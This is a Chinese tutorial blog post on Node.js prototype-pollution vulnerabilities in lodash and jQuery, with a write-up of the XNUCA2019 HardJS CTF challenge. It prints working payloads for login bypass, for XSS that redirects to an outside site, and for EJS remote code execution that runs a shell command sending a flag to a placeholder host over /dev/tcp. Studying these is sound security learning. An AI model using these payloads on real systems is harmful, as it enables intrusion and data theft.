node.js原型链污染漏洞

node.js入门:http://nodejs.cn/learn/how-much-javascript-do-you-need-to-know-to-use-nodejs
根据上面说明要掌握的JavaScript部分直接看菜鸟教程学。

对象与原型链

JavaScript当中的所有事物都是对象:字符串、数值、数组、函数。对象只是一种特殊的数据。对象拥有属性和方法。
可以这样创建一个对象

var person = {
    
    firstName:"John", lastName:"Doe", age:50, eyeColor:"blue"};

JavaScript 对象就是一个 name:value 集合。而对象的的属性就是以键值的的形式表现。
可以通过两种方式访问对象属性

person.lastName;
person["lastName"];

第二种方式类似于python当中的字典或者php的关联数组,那么能够控制数组(对象)的“键名”的操作就能设置对象的属性值了,这也是漏洞的成因之一。
类是对象的抽象,对象是类的实例。JavaScript当中使用定义一个构造函数的形式实现类这个概念。

function Person(first, last) {
    
     
this.firstName = first;
this.lastName = last; }

当然也支持像Java的class形式定义(本质是一个语法糖)
类中包含了一个特殊的方法 constructor(),它是类的构造函数,这种方法用于创建和初始化一个由 class 创建的对象。
而在JavaScript当中的对象都会从一个类中的 prototype(原型对象)属性中继承属性和方法。对象的__proto__属性,指向类的原型对象prototype
在这里插入图片描述在这里插入图片描述

所有 JavaScript 中的对象都是位于原型链顶端的 Object 的实例。
JavaScript 对象有一个指向一个原型对象的链。当试图访问一个对象的属性时,它不仅仅在该对象上搜寻,还会搜寻该对象的原型,以及该对象的原型的原型,依次层层向上搜索,直到找到一个名字匹配的属性或到达原型链的末尾。
在这里插入图片描述

那么当原型存在该属性时,只要其子类实例没有定义该同名属性,就会直接继承这个属性,就如同姓氏一般。
而原型链污染即是通过修改一个对象的原型,从而影响所有同类、子类以及父祖类的对象。相当于是穿越回去把这个姓氏的祖宗姓名改了。
在这里插入图片描述

要修改原型的属性即控制数组键值对的操作,常见有merge、clone(将待操作的对象merge到一个空对象)。
在这里插入图片描述

__proto__当作key写入,尝试污染失败。在对象的创建过程中__proto__已经被解析为其原型,merge函数再遍历时得到的键名仅为为a,b。
在这里插入图片描述在这里插入图片描述

JSON 格式在语法上与创建 JavaScript 对象代码是相同的,在转化为JavaScript对象时,__proto__会被认为是个键名,而不是直接解析为原型,从而保留这个键值对。
在这里插入图片描述

Lodash 模块原型链污染

lodash.merge 方法

通过__proto__污染,就如同上面的列子一样。这里的 if 判断可以绕过,最终进入 object [key] = value 的赋值操作。
在这里插入图片描述

var lodash= require('lodash');
var payload = '{"__proto__":{"whoami":"Vulnerable"}}';
var a = {
    
    };
console.log("Before whoami: " + a.whoami);
lodash.merge({
    
    }, JSON.parse(payload));
console.log("After whoami: " + a.whoami);

lodash.defaultsDeep 方法

(CVE-2019-10744)Lodash 库中的 defaultsDeep 函数可能会被包含 constructor 的 Payload 诱骗添加或修改 Object.prototype
a.constructor返回创建实例对象的 Object 构造函数的引用,我感觉相当于是这个对象的原型类,然后修改其prototype属性
在这里插入图片描述

const mergeFn = require('lodash').defaultsDeep;
const payload = '{"constructor": {"prototype": {"whoami": "Vulnerable"}}}'
function check() {
    
    
    mergeFn({
    
    }, JSON.parse(payload));
        if (({
    
    })[`a0`] === true) {
    
    
                console.log(`Vulnerable to Prototype Pollution via ${
      
      payload}`);
                    }
                }
check();

payload:{“type”:“test”,“content”:{“prototype”:{“constructor”:{“a”:“b”}}}}

jQuery CVE-2019-11358 原型污染漏洞

jQuery CVE-2019-11358 原型污染漏洞分析和修复建议
版本小于3.4.0时

$.extend(true,{
    
    },JSON.parse('{"__proto__":{"aa":"hello"}}')) 

Jquery可以用$.extend将两个字典merge

题目实列[XNUCA2019Qualifier]HardJS

关键词:nodejs lodash原型链污染
服务器是nodejs,并且用了express这个框架,模板渲染引擎则用了ejs。

sudo curl -fsSL https://deb.nodesource.com/setup_17.x |sudo bash -
apt-get install -y nodejs
npm install && npm audit

可以看到依赖项lodash存在原型链污染漏洞,即CVE-2019-10744.
在这里插入图片描述

从robots.py当中可见,admin的密码即为flag。

1. 后端的原型链污染漏洞

server.js当中的/get路由可见,当消息数量大于5时将会调用lodash.defaultsDeep来合并消息。
在这里插入图片描述

express框架支持根据Content-Type来解析请求Body,那么将payload发送6次然后访问 /get 即可触发原型链污染
预期解是绕过登录验证越权登录admin,覆盖login与userid属性即可
在这里插入图片描述

此时已经可以伪造登陆状态了

{
    
    "type":"test","content":{
    
    "constructor":{
    
    "prototype":{
    
    "login":true,"userid":1}}}}

除了/static,/login和/register以外,其他路由在访问的时候均须auth函数进行身份验证。
在robot.py当中robot会打开本地页面的首页/,通过上面的原型链污染即可跳过auth的302跳转,然后robot会根据form的name填写用户名和密码并提交。
那么下面就需要在前端打一个xss

2.前端的原型链污染漏洞

在app.js当中可见前端获取后台数据时,调用了$.extent函数merge数据
在这里插入图片描述

在使用js生成模板时,遍历了hints对象并将hints对象的属性键值对写入到对应li标签中。
在这里插入图片描述

index.ejs中,含有type属性的li标签除了上面写的五个还有一个logger
在这里插入图片描述

通过污染原型的logger属性,即可覆盖logger的内容从而导致XSS

{
    
    "type":"test","content":{
    
    "__proto__": {
    
    "logger": "<script>window.location='http://wonderkun.cc/hack.html'</script>"}}}

vps上搞个模拟登录的html表单就行

利用ejs进行rce

除了像上面那样利用前后端组合攻击,也可仅利用后端漏洞利用ejs进行rce。
这里利用ejs 来渲染模版,那么从 res.render('index'); 开始分析
查看函数定义 /node_modules/express/lib/response.js
在这里插入图片描述

跟进这个调用的函数定义/node_modules/express/lib/application.js
在这里插入图片描述

继续跟进
在这里插入图片描述

调用了engine,查看声明 默认引擎出口
在这里插入图片描述

跟进这个__express的声明
在这里插入图片描述

查看这个renderFile的实现
在这里插入图片描述

最后调用了tryHandleCache函数
在这里插入图片描述

经过 handleCache 函数处理后返回最终的页面
在这里插入图片描述

handleCache返回了一个函数
在这里插入图片描述在这里插入图片描述

再跟进 compile 看到各种代码拼接
在这里插入图片描述

后面是一个动态函数生成
在这里插入图片描述

这个对象会与其他生成的模板字符串一起拼接到this.source,然后传递给src,接着是fn,然后以returnedFn返回并最后被执行

利用global.process 进行RCE反弹shell
在这里插入图片描述

{
    
    "type":"test","content":{
    
    "constructor":{
    
    "prototype":
{
    
    "outputFunctionName":"a=1;process.mainModule.require('child_process').exec('b
ash -c \"echo $FLAG>/dev/tcp/xxxxx/xx\"')//"}}}}

或者直接回显flag到页面上

{
    
    "type":"111","content":{
    
    "constructor":{
    
    "prototype":{
    
    "outputFunctionName":"__append; return process.env.FLAG; __append"}}}}

在这里插入图片描述在这里插入图片描述在这里插入图片描述

参考:

https://www.leavesongs.com/PENETRATION/javascript-prototype-pollution-attack.html
https://github.com/NeSE-Team/OurChallenges/tree/master/XNUCA2019Qualifier/Web/hardjs
https://blog.szfszf.top/tech/javascript-%E5%8E%9F%E5%9E%8B%E9%93%BE%E6%B1%A1%E6%9F%93-%E5%88%86%E6%9E%90/

https://www.wangan.com/p/7fygf7fa6b978b66#lodash.defaultsDeep%E6%96%B9%E6%B3%95%E9%80%A0%E6%88%90%E7%9A%84%E5%8E%9F%E5%9E%8B%E9%93%BE%E6%B1%A1%E6%9F%93%EF%BC%88CVE-2019-10744%EF%BC%89
https://www.anquanke.com/post/id/185377#h3-1
http://j0k3r.top/2019/09/10/js_prototype_pollution/#0x02-Hardjs

猜你喜欢

转载自blog.csdn.net/weixin_43610673/article/details/123171227